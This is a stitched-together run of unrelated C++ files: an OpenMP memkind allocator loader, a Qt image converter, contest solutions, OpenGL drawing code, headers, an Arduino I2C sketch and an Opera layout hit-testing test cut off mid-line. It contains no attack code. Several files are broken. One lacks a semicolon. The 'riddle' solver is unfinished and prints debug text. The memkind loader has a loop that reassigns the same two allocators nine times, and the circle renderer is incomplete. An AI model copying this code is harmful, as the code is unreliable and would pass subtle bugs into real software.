#include "Data.hpp" std::string uipf::type2string(uipf::Type t) { switch(t) { case STRING: return "STRING"; case INTEGER: return "INTEGER"; case FLOAT: return "FLOAT"; case BOOL: return "BOOL"; case MATRIX: return "MATRIX"; case STRING_LIST: return "LIST(STRING)"; case INTEGER_LIST: return "LIST(INTEGER)"; case FLOAT_LIST: return "LIST(FLOAT)"; case BOOL_LIST: return "LIST(BOOL)"; case MATRIX_LIST: return "LIST(MATRIX)"; } return "UNKNOWN!"; }
/* * kmp_memkind.cpp -- support for memkind memory allocations */ //===----------------------------------------------------------------------===// // // Part of the LLVM Project, under the Apache License v2.0 with LLVM Exceptions. // See https://llvm.org/LICENSE.txt for license information. // SPDX-License-Identifier: Apache-2.0 WITH LLVM-exception // //===----------------------------------------------------------------------===// #include "kmp.h" #include "kmp_io.h" #include "kmp_wrapper_malloc.h" static const char *kmp_mk_lib_name; static void *h_memkind; /* memkind experimental API: */ // memkind_alloc static void *(*kmp_mk_alloc)(void *k, size_t sz); // memkind_free static void (*kmp_mk_free)(void *kind, void *ptr); // memkind_check_available static int (*kmp_mk_check)(void *kind); // kinds we are going to use static void **mk_default; static void **mk_interleave; static void **mk_hbw; static void **mk_hbw_interleave; static void **mk_hbw_preferred; static void **mk_hugetlb; static void **mk_hbw_hugetlb; static void **mk_hbw_preferred_hugetlb; static void *kmp_memkind_alloc(size_t size, kmp_allocator_t *al, int gtid); static void kmp_memkind_free(void *ptr, kmp_allocator_t *al, int gtid); #if KMP_OS_UNIX && KMP_DYNAMIC_LIB static inline void chk_kind(void ***pkind) { KMP_DEBUG_ASSERT(pkind); if (*pkind) // symbol found if (kmp_mk_check(**pkind)) // kind not available or error *pkind = NULL; } #endif void __kmp_init_memkind() { // as of 2018-07-31 memkind does not support Windows*, exclude it for now #if KMP_OS_UNIX && KMP_DYNAMIC_LIB // use of statically linked memkind is problematic, as it depends on libnuma kmp_mk_lib_name = "libmemkind.so"; h_memkind = dlopen(kmp_mk_lib_name, RTLD_LAZY); if (!h_memkind) return; kmp_mk_check = (int (*)(void *))dlsym(h_memkind, "memkind_check_available"); kmp_mk_alloc = (void *(*)(void *, size_t))dlsym(h_memkind, "memkind_malloc"); kmp_mk_free = (void (*)(void *, void *))dlsym(h_memkind, "memkind_free"); mk_default = (void **)dlsym(h_memkind, "MEMKIND_DEFAULT"); if (kmp_mk_check && kmp_mk_alloc && kmp_mk_free && mk_default && !kmp_mk_check(*mk_default)) { __kmp_memkind_available = 1; mk_interleave = (void **)dlsym(h_memkind, "MEMKIND_INTERLEAVE"); chk_kind(&mk_interleave); mk_hbw = (void **)dlsym(h_memkind, "MEMKIND_HBW"); chk_kind(&mk_hbw); mk_hbw_interleave = (void **)dlsym(h_memkind, "MEMKIND_HBW_INTERLEAVE"); chk_kind(&mk_hbw_interleave); mk_hbw_preferred = (void **)dlsym(h_memkind, "MEMKIND_HBW_PREFERRED"); chk_kind(&mk_hbw_preferred); mk_hugetlb = (void **)dlsym(h_memkind, "MEMKIND_HUGETLB"); chk_kind(&mk_hugetlb); mk_hbw_hugetlb = (void **)dlsym(h_memkind, "MEMKIND_HBW_HUGETLB"); chk_kind(&mk_hbw_hugetlb); mk_hbw_preferred_hugetlb = (void **)dlsym(h_memkind, "MEMKIND_HBW_PREFERRED_HUGETLB"); chk_kind(&mk_hbw_preferred_hugetlb); KE_TRACE(25, ("__kmp_init_memkind: memkind library initialized\n")); for(int i = 0; i < 9; i++) { kmp_standard_allocators[0].alloc = kmp_memkind_alloc; kmp_standard_allocators[1].free = kmp_memkind_free; } return; // success } dlclose(h_memkind); // failure h_memkind = NULL; } #endif void __kmp_fini_memkind() { #if KMP_OS_UNIX && KMP_DYNAMIC_LIB if (__kmp_memkind_available) KE_TRACE(25, ("__kmp_fini_memkind: finalize memkind library\n")); if (h_memkind) { dlclose(h_memkind); h_memkind = NULL; } kmp_mk_check = NULL; kmp_mk_alloc = NULL; kmp_mk_free = NULL; mk_default = NULL; mk_interleave = NULL; mk_hbw = NULL; mk_hbw_interleave = NULL; mk_hbw_preferred = NULL; mk_hugetlb = NULL; mk_hbw_hugetlb = NULL; mk_hbw_preferred_hugetlb = NULL; #endif } static void *kmp_memkind_alloc(size_t size, kmp_allocator_t *al, int) { if (al->partition == OMP_ATV_INTERLEAVED && mk_interleave) return kmp_mk_alloc(*mk_interleave, size); if (al->memspace == omp_high_bw_mem_space) return kmp_mk_alloc(*mk_hbw_preferred, size); return kmp_mk_alloc(*mk_default, size); } static void kmp_memkind_free(void *ptr, kmp_allocator_t *al, int) { if (al->partition == OMP_ATV_INTERLEAVED && mk_interleave) return kmp_mk_free(*mk_interleave, ptr); if (al->memspace == omp_high_bw_mem_space) return kmp_mk_free(*mk_hbw_preferred, ptr); return kmp_mk_free(*mk_default, ptr); }
#include "converter.h" Converter::Converter() { maxConversionRate = 15; width = 0; height = 0; channels = 0; bitsPerChannel = 0; bytesPerPixel = 0; ready = true; } Converter::~Converter() { } //convert 10bit data to 8bit image for displaying void Converter::makePreview(char *rawDat) { if(!ready) return; else { convert = true; ready = false; //start conversion, block new conversion requests for 1/maxConversionRate seconds QTimer::singleShot(1000/maxConversionRate, this, SLOT(onTimer())); } mat.create(height, width, CV_16UC3); //convert to unsigned char since only bitshift ops on _unsigned_ //values fill with zeros unsigned char *rawData = (unsigned char *) rawDat; image = QImage(width, height, QImage::Format_RGB888); image.fill(0); QVector<unsigned short> samples = readSamples(rawData); //shift right by two to get 8 bit values if(bitsPerChannel == 10 && channels == 3) { for(int i=0; i<height; i++) { for(int j=0; j<width; j++) { image.setPixel(j,i,qRgb(samples[channels*(i*width+j)] >> 2, samples[channels*(i*width+j)+1] >> 2, samples[channels*(i*width+j)+2] >> 2)); mat.at<unsigned short>(i, j*3) = samples[channels*(i*width+j)+2]; mat.at<unsigned short>(i, j*3+1) = samples[channels*(i*width+j)+1]; mat.at<unsigned short>(i, j*3+2) = samples[channels*(i*width+j)]; } } } else if(bitsPerChannel == 8 && channels == 1) { for(int i=0; i<height; i++) { for(int j=0; j<width; j++) { image.setPixel(j,i,qRgb(samples[channels*(i*width+j)], samples[channels*(i*width+j)], samples[channels*(i*width+j)])); mat.at<unsigned short>(i, j*3) = samples[channels*(i*width+j)]; mat.at<unsigned short>(i, j*3+1) = samples[channels*(i*width+j)]; mat.at<unsigned short>(i, j*3+2) = samples[channels*(i*width+j)]; } } } emit newImage(&image); emit newMat(&mat); } //returns a vector of unsigned shorts that contains the samples with 10 bit precision QVector<unsigned short> Converter::readSamples(unsigned char *rawData) { QVector<unsigned short> samples = QVector<unsigned short>(width*height*channels, 0); //preallocate memory and fill with zeros unsigned short r, g, b, gy; r = 0; g = 0; b = 0; gy = 0; int offset = 0; if(bitsPerChannel == 10 && channels == 3) { for(int i=0; i<height; i++) { for(int j=0; j<width; j++) { r = 0; g = 0; b = 0; //bitwise magic //copies two bytes to short value in reverse order //due to endianess //10 bit value is determined by masking the bits that are not //part of the color channel and shifting the //remaining bits, so that 10 significant bits remain r = r | (rawData[offset+3] << 8); r = r | rawData[offset+2]; r = (r & 0x3ff0) >> 4; //10 bit g = g | (rawData[offset+2] << 8); g = g | rawData[offset+1]; g = (g & 0x0ffc) >> 2; //10 bit b = b | (rawData[offset+1] << 8); b = b | rawData[offset]; b = (b & 0x03ff); //10 bit // qDebug() << i << j << "offset" << offset; // qDebug() << r << g << b; //samples << r << g << b; samples.replace(channels*(i*width+j), r); samples.replace(channels*(i*width+j)+1, g); samples.replace(channels*(i*width+j)+2, b); offset += 4; } } } else if(bitsPerChannel == 8 && channels == 1) { for(int i=0; i<height; i++) { for(int j=0; j<width; j++) { gy = 0; gy = rawData[i*width+j]; samples.replace(channels*(i*width+j), gy); } } } return samples; } void Converter::setResolution(int w, int h, int c, int bps, int bpp) { width = w; height = h; channels = c; bitsPerChannel = bps; bytesPerPixel = bpp; } void Converter::onTimer() { ready = true; }
#include<iostream> #include<vector> #include<algorithm> using namespace std; vector<long> riddle(vector<long> arr) { // complete this function long n = arr.size(); // have to find minima in the batches // and then find maxima of the minima // values cout<<"Hello"; vector<long> res(n); res[0] = *max_element(arr.begin(), arr.end()); for(long i=1; i<n; i++){ long left = 0; long right = left + i; long minima = 0; for(int j=left; j<right; j++){ if(minima > arr[j]) minima = arr[j]; } } return res; } int main(){ long n; cin>>n; vector<long> arr(n); for(long i =0; i<n; i++){ cin>>arr[i]; } vector<long> res = riddle(arr); for(long i=0; i<res.size(); i++){ cout<<res[i]<<" "; } cout<<endl; return 0; }
//cqf_flow_demo_for_ditch ÓöÑջģÄâ #include<stdio.h> #include<memory> #define MAXN 60005 #define MAXM 1000001 #define MAXNUM 2000000000 using namespace std; struct node { int v,c,f,next;}org_node[2*MAXM+1]; struct stk { int x,i,now; }stack[MAXN]; int n,m,num=0,s,t,remain=0,xp; int unq[MAXN]; node *edge=&org_node[MAXM]; int beg[MAXN],rec[MAXN],next[MAXN]; int a[MAXM],b[MAXM],c[MAXM]; void init() { scanf("%d%d",&m,&n); for (int i=0;i<m;++i) { scanf("%d%d%d",&a[i],&b[i],&c[i]),--a[i],--b[i],remain+=c[i]; } memset(beg,0,sizeof(beg)); memset(unq,0,sizeof(unq)); } void insert(int x,int y,int c) { ++num; edge[num]=(node){y,c,0,beg[x]}; beg[x]=num; edge[-num]=(node){x,0,0,beg[y]}; beg[y]=-num; } void buildgraph() { for (int i=0;i<m;++i) insert(a[i],b[i],c[i]); for (int i=0;i<n;++i) rec[i]=beg[i]; } bool flow(int x,int now) { int i=rec[x],top=-1; while (true) { if (x==t) { xp=now; for (int j=0;j<=top;++j) { edge[stack[j].i].f+=now; edge[-stack[j].i].f=-edge[stack[j].i].f; rec[stack[j].x]=stack[j].i; } return true; } unq[x]=remain; while (true) { if (edge[i].f<edge[i].c&&unq[edge[i].v]!=remain) { stack[++top]=(stk){x,i,now}; x=edge[i].v; now=min(edge[i].c-edge[i].f,now); i=rec[x]; break; } i=edge[i].next?edge[i].next:beg[x]; if (i==rec[x]) { x=stack[top].x; i=stack[top].i; now=stack[top].now; --top; break; } } if (top<0) return false; } } void maxflow() { while (flow(s,MAXNUM)) remain-=xp; } void print() { long long sum=0; for (int i=beg[s];i!=0;i=edge[i].next) sum+=edge[i].f; printf("%d\n",sum); } int main() { freopen("ditch.in","r",stdin); freopen("ditch.out","w",stdout); init(); s=0;t=n-1; buildgraph(); maxflow(); print(); fclose(stdin); fclose(stdout); return 0; }
#include <iostream> using namespace std; int main() { int a; int b; int c; for(a = 1; a <= 1000; a++) { for (b = a+1; b <= 1000; b++) { c = 1000 - a - b; if ( a*a + b*b == c*c ) goto end; } } end: int product = a * b * c; cout << "a = " << a << endl; cout << "b = " << b << endl; cout << "c = " << c << endl; cout << product << endl; return 0; }
#include "Matriz.h" #include <iostream> int main(){ Matriz m = Matriz(3); std::cout<< m.len()<<std::endl; } /*#include <iostream> using namespace std; const int row = 5, col = 5; void suma(int[], int[], int[]); void suma(int[][col], int[][col], int[][col]); void reversa(int[], int); int main() { int A[] = {1, 2, 3, 4, 5}; int B[] = {1, 2, 3, 4, 5}; int C[] = {0, 0, 0, 0, 0}; suma(A, B, C); int D[row][col] = {{1, 2, 3, 4, 5}, {1, 2, 3, 4, 5}, {1, 2, 3, 4, 5}, {1, 2, 3, 4, 5}, {1, 2, 3, 4, 5}}; int E[row][col] = {{1, 2, 3, 4, 5}, {1, 2, 3, 4, 5}, {1, 2, 3, 4, 5}, {1, 2, 3, 4, 5}, {1, 2, 3, 4, 5}}; int F[row][col] = {{1, 2, 3, 4, 5}, {1, 2, 3, 4, 5}, {1, 2, 3, 4, 5}, {1, 2, 3, 4, 5}, {1, 2, 3, 4, 5}}; suma(D, E, F); for (int i = 0; i < col; i++) cout << C[i] << " "; cout << "" << endl; for (int i = 0; i < col; i++) { cout << endl; for (int j = 0; j < row; j++) cout << F[i][j] << " "; } cout << "" << endl; int tam = 9; int a[] = {1, 2, 3, 4, 5, 6, 7, 8, 9}; for (int i = 0; i < tam; i++) cout << a[i] << " "; cout << "" << endl; reversa(a, tam); for (int i = 0; i < tam; i++) cout << a[i] << " "; cout << "" << endl; return 0; } void reversa(int a[], int tam){ for(int inf = 0, sup = tam-1, temp = 0; sup>inf; sup--, inf++) { temp=a[inf]; a[inf] = a[sup]; a[sup] = temp; } } void suma(int A[], int B[], int C[]) { for (int i = 0; col > i; i++) C[i] = A[i] + B[i]; } void suma(int A[][col], int B[][col], int C[][col]) { for (int i = 0; row > i; i++) for (int j = 0; j < col; j++) C[i][j] = A[i][j] + B[i][j]; }*/
//==================================================================================== // @Title: DRAWING //------------------------------------------------------------------------------------ // @Location: /prolix/common/include/xDraw.cpp // @Author: Kevin Chen // @Rights: Copyright(c) 2011 Visionary Games //==================================================================================== #include <iostream> #include <cmath> #include "../include/xDraw.h" #include "../../engine/include/PrlxGraphics.h" #include <SDL_opengl.h> #define PI 3.1415926535897932384626433832795 //==================================================================================== // cColor //==================================================================================== cColor::cColor(int red, int green, int blue, int alpha) { r = red; g = green; b = blue; a = alpha; } SDL_Color cColor::toSDL() { SDL_Color color = {r, g, b}; return color; } std::string cColor::Format() { return "(" + toString(r) + "," + toString(g) + "," + toString(b) + "," + toString(a) + ")"; } cColor operator+(cColor color1, cColor color2) { return cColor(color1.r + color2.r, color1.g + color2.g, color1.b + color2.b, color1.a + color2.a); } cColor operator-(cColor color1, cColor color2) { return cColor(color1.r - color2.r, color1.g - color2.g, color1.b - color2.b, color1.a - color2.a); } void SetColor(cColor color) { glColor4ub(color.r, color.g, color.b, color.a); } //==================================================================================== // Dimensions //==================================================================================== Dimensions::Dimensions(int rW, int rH): w(rW), h(rH) { } Dimensions operator +(Dimensions dim1, Dimensions dim2) { return Dimensions(dim1.w + dim2.w, dim1.h + dim2.h); } Dimensions operator -(Dimensions dim1, Dimensions dim2) { return Dimensions(dim1.w - dim2.w, dim1.h - dim2.h); } //==================================================================================== // PRLX_Shape //==================================================================================== PRLX_Shape::PRLX_Shape(Point rPos): pos(rPos) { } void PRLX_Shape::Draw(float value, cColor) { // disable texture drawings glDisable (GL_TEXTURE_2D); glEnable (GL_BLEND); glBlendFunc (GL_SRC_ALPHA, GL_ONE_MINUS_SRC_ALPHA); glLoadIdentity (); } //==================================================================================== // PRLX_Point : PRLX_Shape //==================================================================================== PRLX_Point::PRLX_Point(Point rPos): PRLX_Shape(rPos) { } void PRLX_Point::Draw(float pointSize, cColor color) { // set up primitive shape drawing environment PRLX_Shape::Draw(pointSize, color); // set line properties SetColor(color); glPointSize(pointSize); // draw point glBegin(GL_POINTS); glVertex2i(pos.x, pos.y); glEnd(); } //==================================================================================== // PRLX_Line : PRLX_Shape //==================================================================================== PRLX_Line::PRLX_Line (Point rPos1, Point rPos2): PRLX_Shape(rPos1), pos2(rPos2) { } void PRLX_Line::Draw(float lineWidth, cColor color) { // set up primitive shape drawing environment PRLX_Shape::Draw(lineWidth, color); // set line properties SetColor(color); glLineWidth(lineWidth); // draw line glBegin(GL_LINES); glVertex2i(pos.x,pos.y); glVertex2i(pos2.x,pos2.y); glEnd(); } //==================================================================================== // PRLX_Rect : PRLX_Shape //==================================================================================== PRLX_Rect::PRLX_Rect(Point rPos, Dimensions rDim, int rNX, int rNY): PRLX_Shape(rPos), dim(rDim), nX(rNX), nY(rNY) { } void PRLX_Rect::Draw(float fill, cColor color) { // set up primitive shape drawing environment PRLX_Shape::Draw(fill, color); // set line properties SetColor(color); // determine fill type GLenum mode; (fill) ? mode = GL_QUADS : mode = GL_LINE_LOOP; // draw rectangle glBegin(mode); glVertex2i(pos.x, pos.y); glVertex2i(pos.x + dim.w, pos.y); glVertex2i(pos.x + dim.w, pos.y + dim.h); glVertex2i(pos.x, pos.y + dim.h); glEnd(); } //==================================================================================== // PRLX_Triangle : PRLX_Shape //==================================================================================== PRLX_Triangle::PRLX_Triangle(Point rPos1, Point rPos2, Point rPos3): PRLX_Shape(rPos1), pos2(rPos2), pos3(rPos3) { } void PRLX_Triangle::Draw(bool fill, cColor color) { // set up primitive shape drawing environment PRLX_Shape::Draw(fill, color); // set line properties SetColor(color); // determine fill type GLenum mode; (fill) ? mode = GL_QUADS : mode = GL_LINE_LOOP; // draw triangle glBegin(GL_TRIANGLES); glVertex2i(pos.x, pos.y); glVertex2i(pos2.x, pos2.y); glVertex2i(pos3.x, pos3.y); glEnd(); } //==================================================================================== // PRLX_Circle : PRLX_Shape //==================================================================================== PRLX_Circle::PRLX_Circle(Point rPos, int rRadius): PRLX_Shape(rPos), radius(rRadius) { } void PRLX_Circle::Draw(int smoothness, cColor color) { PRLX_Triangle triangle, prev; Point origin = pos, vertex, vertex2, vertex3; int shade, index = 0; shade = 255; vertex2 = Point(pos.x + (index-1)*smoothness, pos.y + prev.pos2.y - radius); vertex3 = Point(pos.x + (index+1)*smoothness, pos.y - radius); triangle = PRLX_Triangle(origin, vertex2, vertex3); prev = triangle; index++; triangle.Draw(false, cColor(shade,shade,shade,255)); shade = 245; vertex2 = prev.pos3; vertex3 = Point(pos.x + (index+1)*smoothness, pos.y - radius); triangle = PRLX_Triangle(origin, vertex2, vertex3); triangle.Draw(false, cColor(shade,shade,shade,255)); return; }
// // Created by 송지원 on 2020-02-11. // #include <iostream> #include <string> #include <stack> using namespace std; long long aToTen(int* input, int a, int count){ long long res = 0; for (int i=0; i<count; i++) { res *= a; res += input[i]; } return res; } stack<int> tenToB(long long input, int b) { stack<int> st; int res; while (input != 0) { res = input % b; input /= b; st.push(res); } return st; } int main() { int A, B; int m; int Am[30]; long long TEN; stack<int> st; int s_size; cin >> A >> B; cin >> m; for (int i=0; i<m; i++) { cin >> Am[i]; } TEN = aToTen(Am, A, m); st = tenToB(TEN, B); s_size = st.size(); while (s_size--) { cout << st.top() << " "; st.pop(); } return 0; }
/* * File: main.cpp * Author: Daniel Canales * * Created on June 30, 2014, 12:13 PM */ #include <cstdlib> #include <iostream> using namespace std; /* * */ int main(int argc, char** argv) { float widget = 9.2 int pallets; float pweight; //pallet weight cout << "How many pallets are there?" << endl; cin >> pallets; cout << "How much does the pallet weigh? " << endl; cin >> pweight; cout << " How much is the weight of the pallets and widget?" << endl; return 0; }
#ifndef NETREQUESTS_H #define NETREQUESTS_H #include <string> #include "Poco\JSON\Object.h" std::string getUri(std::string url); Poco::JSON::Object::Ptr getJSONObject(std::string text); int getIntFromJSON(Poco::JSON::Object::Ptr object, std::string key); std::string getStringFromJSON(Poco::JSON::Object::Ptr object, std::string key); #endif
#pragma once #ifdef NETIOCP_EXPORTS #define DLL_CPP_API __declspec(dllexport) #else #define DLL_CPP_API __declspec(dllimport) #endif namespace NetIOCP { //该类为内部传递给外部的session接口 class DLL_CPP_API ISession { public: virtual bool __stdcall OnSend(string&) = 0; virtual bool __stdcall OnRecv(string&) = 0; }; //该类用于外部继承 class DLL_CPP_API IConnection { public: virtual void __stdcall OnConnection(ISession*) = 0; }; class DLL_CPP_API ISessionManager { public: virtual void registerHandle(IConnection* pconn) = 0; /* taskcount = 0 会根据系统创建服务线程 */ virtual bool start(string ip, int port, int taskcount) = 0; virtual bool isStartup() = 0; virtual void stop() = 0; virtual bool isShutting() = 0; }; extern DLL_CPP_API ISessionManager* __stdcall gGetSessionMgr(); }
/****************************************************************************** * $Id$ * * Project: libLAS - http://liblas.org - A BSD library for LAS format data. * Purpose: Processing Kernel * Author: Howard Butler, hobu.inc at gmail.com * ****************************************************************************** * Copyright (c) 2010, Howard Butler * * All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following * conditions are met: * * * Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * * Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in * the documentation and/or other materials provided * with the distribution. * * Neither the name of the Martin Isenburg or Iowa Department * of Natural Resources nor the names of its contributors may be * used to endorse or promote products derived from this software * without specific prior written permission. * * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS * "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT * LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS * FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE * COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, * BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS * OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED * AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, * OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT * OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY * OF SUCH DAMAGE. ****************************************************************************/ #ifndef LIBLAS_KERNEL_HPP_INCLUDED #define LIBLAS_KERNEL_HPP_INCLUDED #include <liblas/liblas.hpp> #include <liblas/utility.hpp> #include <liblas/export.hpp> #include <liblas/external/property_tree/ptree.hpp> #include <liblas/external/property_tree/xml_parser.hpp> #include <fstream> #include <iostream> #include <sstream> #include <string> #include <vector> #include <string> #include <functional> #include <algorithm> #include <boost/program_options.hpp> #include <boost/tokenizer.hpp> #include <boost/array.hpp> #include <boost/foreach.hpp> using namespace std; namespace po = boost::program_options; #define SEPARATORS ",| " typedef boost::tokenizer<boost::char_separator<char> > tokenizer; LAS_DLL bool IsDualRangeFilter(std::string parse_string) ; LAS_DLL liblas::FilterPtr MakeReturnFilter(std::vector<boost::uint16_t> const& returns, liblas::FilterI::FilterType ftype) ; LAS_DLL liblas::FilterPtr MakeClassFilter(std::vector<liblas::Classification> const& classes, liblas::FilterI::FilterType ftype) ; LAS_DLL liblas::FilterPtr MakeBoundsFilter(liblas::Bounds<double> const& bounds, liblas::FilterI::FilterType ftype) ; LAS_DLL liblas::FilterPtr MakeIntensityFilter(std::string intensities, liblas::FilterI::FilterType ftype) ; LAS_DLL liblas::FilterPtr MakeTimeFilter(std::string times, liblas::FilterI::FilterType ftype) ; LAS_DLL liblas::FilterPtr MakeScanAngleFilter(std::string intensities, liblas::FilterI::FilterType ftype) ; LAS_DLL liblas::FilterPtr MakeColorFilter(liblas::Color const& low, liblas::Color const& high, liblas::FilterI::FilterType ftype); LAS_DLL po::options_description GetFilteringOptions(); LAS_DLL po::options_description GetTransformationOptions(); LAS_DLL po::options_description GetHeaderOptions(); LAS_DLL std::vector<liblas::FilterPtr> GetFilters(po::variables_map vm, bool verbose); LAS_DLL std::vector<liblas::TransformPtr> GetTransforms(po::variables_map vm, bool verbose, liblas::Header& header); #ifdef _WIN32 #define compare_no_case(a,b,n) _strnicmp( (a), (b), (n) ) #else #define compare_no_case(a,b,n) strncasecmp( (a), (b), (n) ) #endif std::istream* OpenInput(std::string const& filename, bool bEnd); LAS_DLL std::string TryReadFileData(std::string const& filename); LAS_DLL std::vector<char> TryReadRawFileData(std::string const& filename); LAS_DLL bool term_progress(std::ostream& os, double complete); LAS_DLL void SetStreamPrecision(std::ostream& os, double scale); LAS_DLL void SetHeaderCompression(liblas::Header& header, std::string const& filename); LAS_DLL liblas::Header FetchHeader(std::string const& filename); LAS_DLL void RewriteHeader(liblas::Header const& header, std::string const& filename); LAS_DLL void RepairHeader(liblas::CoordinateSummary const& summary, liblas::Header& header); LAS_DLL liblas::property_tree::ptree SummarizeReader(liblas::Reader& reader) ; class OptechScanAngleFixer: public liblas::TransformI { public: OptechScanAngleFixer() {} ~OptechScanAngleFixer() {} bool transform(liblas::Point& point); bool ModifiesHeader() { return false; } private: OptechScanAngleFixer(OptechScanAngleFixer const& other); OptechScanAngleFixer& operator=(OptechScanAngleFixer const& rhs); }; #endif // LIBLAS_ITERATOR_HPP_INCLUDED
#include <Wire.h> void setup() { Serial.begin(9600); Wire.begin(); //request from address 5 Wire.requestFrom(5,5); while(Wire.available()){ char c = Wire.read(); Serial.print(c); } //request from address 6 Wire.requestFrom(6,5); while(Wire.available()){ char c = Wire.read(); Serial.print(c); } //request from address 7 Wire.requestFrom(7,5); while(Wire.available()){ char c = Wire.read(); Serial.print(c); } } void loop() { // put your main code here, to run repeatedly: }
/* -*- mode: c++; tab-width: 4; c-basic-offset: 4 -*- */ group "layout.hit_testing_traversal_object"; require init; include "modules/layout/traverse/traverse.h"; include "modules/layout/box/box.h"; include "modules/layout/box/inline.h"; include "modules/layout/box/tables.h"; include "modules/layout/content/scrollable.h"; include "modules/doc/frm_doc.h"; include "modules/logdoc/htm_elm.h"; include "modules/dochand/win.h"; include "modules/pi/OpWindow.h"; global { class ElementID : public Link { public: ElementID(const uni_char* _id) : Link(), id(_id) {} const uni_char* id; }; class ST_HitTestingTraversalObject : public HitTestingTraversalObject { public: ST_HitTestingTraversalObject(FramesDocument* doc, const OpRect& area, BOOL disable_clipping = FALSE) : HitTestingTraversalObject(doc, disable_clipping) { this->area.left = area.x; this->area.right = area.Right(); this->area.top = area.y; this->area.bottom = area.Bottom(); traverse_positioned_elm_call_count = 0; } virtual BOOL EnterVerticalBox(LayoutProperties* parent_lprops, LayoutProperties*& layout_props, VerticalBox* box, TraverseInfo& traverse_info) { BOOL result = HitTestingTraversalObject::EnterVerticalBox(parent_lprops, layout_props, box, traverse_info); if (result) { const uni_char* id = box->GetHtmlElement()->GetId(); if (id) { ElementID* elm = OP_NEW(ElementID, (id)); if (elm) elm->Into(&m_hit_elems); else SetOutOfMemory(); } } return result; } virtual BOOL EnterInlineBox(LayoutProperties* layout_props, InlineBox* box, const RECT& box_area, LineSegment& segment, BOOL start_of_box, BOOL end_of_box, LayoutCoord baseline, TraverseInfo& traverse_info) { BOOL result = HitTestingTraversalObject::EnterInlineBox(layout_props, box, box_area, segment, start_of_box, end_of_box, baseline, traverse_info); if (result) { const uni_char* id = box->GetHtmlElement()->GetId(); if (id) { ElementID* elm = OP_NEW(ElementID, (id)); if (elm) elm->Into(&m_hit_elems); else SetOutOfMemory(); } } return result; } virtual BOOL EnterTableRow(TableRowBox* row) { BOOL result = HitTestingTraversalObject::EnterTableRow(row); if (result) { const uni_char* id = row->GetHtmlElement()->GetId(); if (id) { ElementID* elm = OP_NEW(ElementID, (id)); if (elm) elm->Into(&m_hit_elems); else SetOutOfMemory(); } } return result; } virtual BOOL TraversePositionedElement(HTML_Element* element, HTML_Element* containing_element) { traverse_positioned_elm_call_count++; return HitTestingTraversalObject::TraversePositionedElement(element, containing_element); } BOOL Exists(const char* id) { Link* cur = m_hit_elems.First(); while (cur) { if (static_cast<ElementID*>(cur)->id && uni_strcmp(id, static_cast<ElementID*>(cur)->id) == 0) return TRUE; cur = cur->Suc(); } return FALSE; } unsigned int GetTraversePositionedElementCallCount() { return traverse_positioned_elm_call_count; } private: AutoDeleteHead m_hit_elems; /** Used to check that we don't return to z root during the traverse more often than expected. */ unsigned int traverse_positioned_elm_call_count; }; } test("PRECONDITION: Window big enough.") { OpWindow* op_win = state.GetWindow() ? state.GetWindow()->GetOpWindow() : NULL; UINT32 w, h; verify(op_win); op_win->GetInnerSize(&w, &h); /* Magic numbers. Too small layout viewport affects the layout of the tested documents in various situations, in a way that boxes do not have the sizes that are expected in particular tests. Adjust if needed and make the tests depend on that precondition if needed. */ verify(w >= 400 && h >= 300); } html { //! <!DOCTYPE html> //!<html> //!<head> //!<style> //!* { margin:0;padding:0;} //!</style> //!</head> //!<body> //! //!<p style="height:30px; font-size:20px;"><b id="upper">upper</b></p> //! //!<div style="overflow:auto; width:100px; height:200px"> //! //!<table style="border-spacing:0px"> //!<tr> //!<td> //!<div id="red" style="width:100px; height:100px; background-color:red;"></div> //!</td> //!<td> //!<div id="blue" style="width:100px; height:100px; background-color:blue;"></div> //!</td> //!</tr> //! //!<tr> //!<td> //!<div id="green" style="width:100px; height:100px; background-color:green;"></div> //!</td> //!<td> //!<div id="yellow" style="width:100px; height:100px; background-color:yellow;"></div> //!</td> //!</tr> //! //!<tr> //!<td> //!<div id="black" style="width:100px; height:100px; background-color:black;"></div> //!</td> //!<td> //!<div id="gray" style="width:100px; height:100px; background-color:gray;"></div> //!</td> //!</tr> //! //!</table> //! //!</div> //! //!<p style="height:30px; font-size:20px;"><b id="bottom">bottom</b></p> //! //!</body> //!</html> } test ("scrollable clipping, different areas") { verify(state.doc); HTML_Element* doc_root = state.doc->GetDocRoot(); verify(doc_root); ST_HitTestingTraversalObject hit_testing_obj(state.doc, OpRect(0, 0, 10000, 10000)); OP_STATUS stat = hit_testing_obj.Traverse(doc_root); verify(OpStatus::IsSuccess(stat)); verify(hit_testing_obj.Exists("upper") == TRUE); verify(hit_testing_obj.Exists("bottom") == TRUE); verify(hit_testing_obj.Exists("blue") == FALSE); verify(hit_testing_obj.Exists("yellow") == FALSE); verify(hit_testing_obj.Exists("black") == FALSE); verify(hit_testing_obj.Exists("gray") == FALSE); verify(hit_testing_obj.Exists("red") == TRUE); verify(hit_testing_obj.Exists("green") == TRUE); ST_HitTestingTraversalObject hit_testing_obj1(state.doc, OpRect(0, 131, 200, 200)); stat = hit_testing_obj1.Traverse(doc_root); verify(OpStatus::IsSuccess(stat)); verify(hit_testing_obj1.Exists("upper") == FALSE); verify(hit_testing_obj1.Exists("bottom") == TRUE); verify(hit_testing_obj1.Exists("red") == FALSE); verify(hit_testing_obj1.Exists("blue") == FALSE); verify(hit_testing_obj1.Exists("yellow") == FALSE); verify(hit_testing_obj1.Exists("black") == FALSE); verify(hit_testing_obj1.Exists("gray") == FALSE); verify(hit_testing_obj1.Exists("green") == TRUE); ST_HitTestingTraversalObject hit_testing_obj2(state.doc, 